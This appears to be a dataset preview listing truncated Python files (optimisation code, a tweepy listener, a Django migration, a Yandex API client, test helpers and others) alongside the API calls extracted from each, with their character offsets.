] | [((742, 752), 'mne.utils._TempDir', '_TempDir', ([], {}), '()\n', (750, 752), False, 'from mne.utils import _TempDir\n'), ((938, 1014), 'pd_parser.simulate_pd_data', 'pd_parser.simulate_pd_data', ([], {'n_events': 'n_events', 'prop_corrupted': 'prop_corrupted'}), '(n_events=n_events, prop_corrupted=prop_corrupted)\n', ... |
""" shortest.py
For finding the shortest search term for a given article.
Used to be in analytic.py, but it's too long now.
"""
from itertools import product, combinations_with_replacement
from tars.helpers.basecommand import Command, longstr
from tars.helpers.database import DB
from tars.helpers.error import Comman... | [
"tars.helpers.database.DB.get_article_info",
"itertools.product",
"tars.helpers.error.CommandError",
"tars.helpers.database.DB.get_articles"
] | [((3551, 3614), 'tars.helpers.error.CommandError', 'CommandError', (['"""At least one of --title or --url must be given."""'], {}), "('At least one of --title or --url must be given.')\n", (3563, 3614), False, 'from tars.helpers.error import CommandError, MyFaultError\n'), ((4398, 4423), 'tars.helpers.database.DB.get_a... |
def f_budget(y, w, g, L, R):
'''
Objective value for the budget allocation problem.
y: list or array where y[v] is amount of budget allocated to node v
g: representation of transmission probabilities. g[v][u] is the probability that
a node u \in L reaches a node v \in R. Iterating over g[... | [
"heapq.heappush",
"gurobipy.Model",
"double_oracle.double_oracle",
"numpy.minimum",
"functools.partial",
"budget_cython_fast.construct_g_p",
"numpy.dot",
"equator.sfw",
"gurobipy.quicksum",
"budget_cython_fast.FO_budget_cython",
"heapq.heappop",
"numpy.zeros",
"numpy.array",
"heapq.heapify... | [((1729, 1756), 'heapq.heapify', 'heapq.heapify', (['upper_bounds'], {}), '(upper_bounds)\n', (1742, 1756), False, 'import heapq\n'), ((5925, 5935), 'gurobipy.Model', 'gp.Model', ([], {}), '()\n', (5933, 5935), True, 'import gurobipy as gp\n'), ((7344, 7354), 'gurobipy.Model', 'gp.Model', ([], {}), '()\n', (7352, 7354)... |
import logging
import os
import math
import networkx as nx
import geonetworkx as gnx
from .. import config
from ...exception_utils import DHCOptimizerException
class MDNetworkOptimizer:
"""This objects implements methods for solving the Steiner Tree Problem. It takes as input an optimization graph and
optional... | [
"os.path.join",
"networkx.union",
"logging.Formatter",
"logging.getLogger",
"geonetworkx.GeoMultiGraph",
"networkx.connected_components",
"logging.StreamHandler",
"networkx.Graph",
"networkx.shortest_path_length",
"networkx.shortest_path"
] | [((13037, 13060), 'logging.StreamHandler', 'logging.StreamHandler', ([], {}), '()\n', (13058, 13060), False, 'import logging\n'), ((13120, 13184), 'logging.Formatter', 'logging.Formatter', (['"""%(asctime)s :: %(levelname)s :: %(message)s"""'], {}), "('%(asctime)s :: %(levelname)s :: %(message)s')\n", (13137, 13184), F... |
import numpy as np
import os
import itertools
import wrappers
import utils
import constants
from geometric_primitives import bricks
from geometric_primitives import rules
str_score = 'height'
#str_score = 'width'
#str_score = 'depth'
#str_score = 'contacts'
str_exp = 'maximize_{}'.format(str_score)
num_bricks = 3... | [
"os.path.join",
"wrappers.random_all",
"itertools.combinations",
"numpy.random.shuffle",
"geometric_primitives.bricks.Bricks",
"numpy.max",
"wrappers.bo_all",
"utils.get_initial_bricks",
"wrappers.random_eval_all",
"numpy.min",
"numpy.random.seed",
"numpy.array"
] | [((2780, 2803), 'numpy.array', 'np.array', (['diff_position'], {}), '(diff_position)\n', (2788, 2803), True, 'import numpy as np\n'), ((4911, 4956), 'os.path.join', 'os.path.join', (['constants.PATH_RESULTS', 'str_exp'], {}), '(constants.PATH_RESULTS, str_exp)\n', (4923, 4956), False, 'import os\n'), ((975, 992), 'nump... |
#Listener code: http://adilmoujahid.com/posts/2014/07/twitter-analytics/
#Import the necessary methods from tweepy library
import pdb
from tweepy import OAuthHandler
from tweepy import Stream
from tweepy.streaming import StreamListener
import operator
import os
import pickle
import time
#Variables that cont... | [
"tweepy.OAuthHandler",
"operator.itemgetter",
"os.getcwd",
"time.time"
] | [((1655, 1666), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (1664, 1666), False, 'import os\n'), ((3089, 3132), 'tweepy.OAuthHandler', 'OAuthHandler', (['consumer_key', 'consumer_secret'], {}), '(consumer_key, consumer_secret)\n', (3101, 3132), False, 'from tweepy import OAuthHandler\n'), ((634, 645), 'time.time', 'tim... |
# Generated by Django 3.2 on 2021-05-05 22:09
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('training', '0010_rename_comptency_competency'),
]
operations = [
migrations.AddField(
model_name='competency',
name='d... | [
"django.db.models.CharField"
] | [((351, 402), 'django.db.models.CharField', 'models.CharField', ([], {'default': '"""testing"""', 'max_length': '(200)'}), "(default='testing', max_length=200)\n", (367, 402), False, 'from django.db import migrations, models\n')] |
from api.cms.models import CmsUser
from article.models import CategoryModel,TagModel,ArticleModel
from django.contrib.auth.models import User
from django.contrib.auth.decorators import login_required
def get_cmsuser_avatar(request):
user = request.user
if user.is_authenticated():
cmsUser = CmsUser.obj... | [
"article.models.TagModel.objects.all",
"api.cms.models.CmsUser.objects.filter",
"article.models.CategoryModel.objects.all"
] | [((509, 536), 'article.models.CategoryModel.objects.all', 'CategoryModel.objects.all', ([], {}), '()\n', (534, 536), False, 'from article.models import CategoryModel, TagModel, ArticleModel\n'), ((613, 635), 'article.models.TagModel.objects.all', 'TagModel.objects.all', ([], {}), '()\n', (633, 635), False, 'from articl... |
import urllib.request
import urllib.parse
import http.client
import mimetypes
import json
import re
from . import rsaencoder
__author__ = '<NAME>'
class HttpClient(object):
URL_AUTH_KEY = 'http://auth.mobile.yandex.ru/yamrsa/key/'
URL_AUTH_TOKEN = 'http://auth.mobile.yandex.ru/yamrsa/token/'
URL_SERVIC... | [
"json.loads",
"json.dumps",
"mimetypes.guess_type",
"re.search"
] | [((1396, 1420), 're.search', 're.search', (['pattern', 'text'], {}), '(pattern, text)\n', (1405, 1420), False, 'import re\n'), ((3410, 3430), 'json.loads', 'json.loads', (['responce'], {}), '(responce)\n', (3420, 3430), False, 'import json\n'), ((3692, 3712), 'json.dumps', 'json.dumps', (['filtered'], {}), '(filtered)\... |
"""
Script to re-make the html docs and publish to gh-pages.
"""
import os
from contextlib import contextmanager
from queue import PriorityQueue
from pathlib2 import Path
from clean_docs import main as clean_docs
@contextmanager
def change_directory(new_path):
here = Path(".")
os.chdir(str(new_path))
yi... | [
"os.system",
"clean_docs.main",
"pathlib2.Path"
] | [((276, 285), 'pathlib2.Path', 'Path', (['"""."""'], {}), "('.')\n", (280, 285), False, 'from pathlib2 import Path\n'), ((465, 477), 'clean_docs.main', 'clean_docs', ([], {}), '()\n', (475, 477), True, 'from clean_docs import main as clean_docs\n'), ((832, 853), 'os.system', 'os.system', (['cmd_to_run'], {}), '(cmd_to_... |
from herança import Cliente, Aluno
c1 = Cliente("Fábio", 40)
print(c1.nome, c1.idade)
c1.falar()
c1.comprar()
a1 = Aluno("<NAME>", 5)
print(a1.nome, a1.idade)
a1.falar()
a1.estudar()
| [
"herança.Aluno",
"herança.Cliente"
] | [((41, 61), 'herança.Cliente', 'Cliente', (['"""Fábio"""', '(40)'], {}), "('Fábio', 40)\n", (48, 61), False, 'from herança import Cliente, Aluno\n'), ((117, 135), 'herança.Aluno', 'Aluno', (['"""<NAME>"""', '(5)'], {}), "('<NAME>', 5)\n", (122, 135), False, 'from herança import Cliente, Aluno\n')] |
'''配置文件'''
import os
'''屏幕大小'''
SCREENSIZE = (956, 560)
'''字体路径'''
FONTPATH = os.path.join(os.getcwd(), 'resources/font/simkai.ttf')
'''图片路径'''
IMAGEPATHS = {
'asteroid': os.path.join(os.getcwd(), 'resources/images/asteroid.png'),
'bg_big': os.path.join(os.getcwd(), 'resources/images/bg_big.png'),
'bullet... | [
"os.getcwd"
] | [((93, 104), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (102, 104), False, 'import os\n'), ((190, 201), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (199, 201), False, 'import os\n'), ((264, 275), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (273, 275), False, 'import os\n'), ((336, 347), 'os.getcwd', 'os.getcwd', ([], ... |
from tests.helpers import compare_func_dicts, check_auto_save
# cannot stack fixtures together: https://github.com/pytest-dev/pytest/issues/349
def test_auto_save_1(func_with_plt_project1, capsys):
plt_project, func, func_dict = func_with_plt_project1
func()
out, err = capsys.readouterr()
assert out =... | [
"tests.helpers.compare_func_dicts",
"tests.helpers.check_auto_save"
] | [((359, 398), 'tests.helpers.check_auto_save', 'check_auto_save', (['plt_project', 'func_dict'], {}), '(plt_project, func_dict)\n', (374, 398), False, 'from tests.helpers import compare_func_dicts, check_auto_save\n'), ((515, 579), 'tests.helpers.check_auto_save', 'check_auto_save', (['plt_project', 'func_dict'], {'tar... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.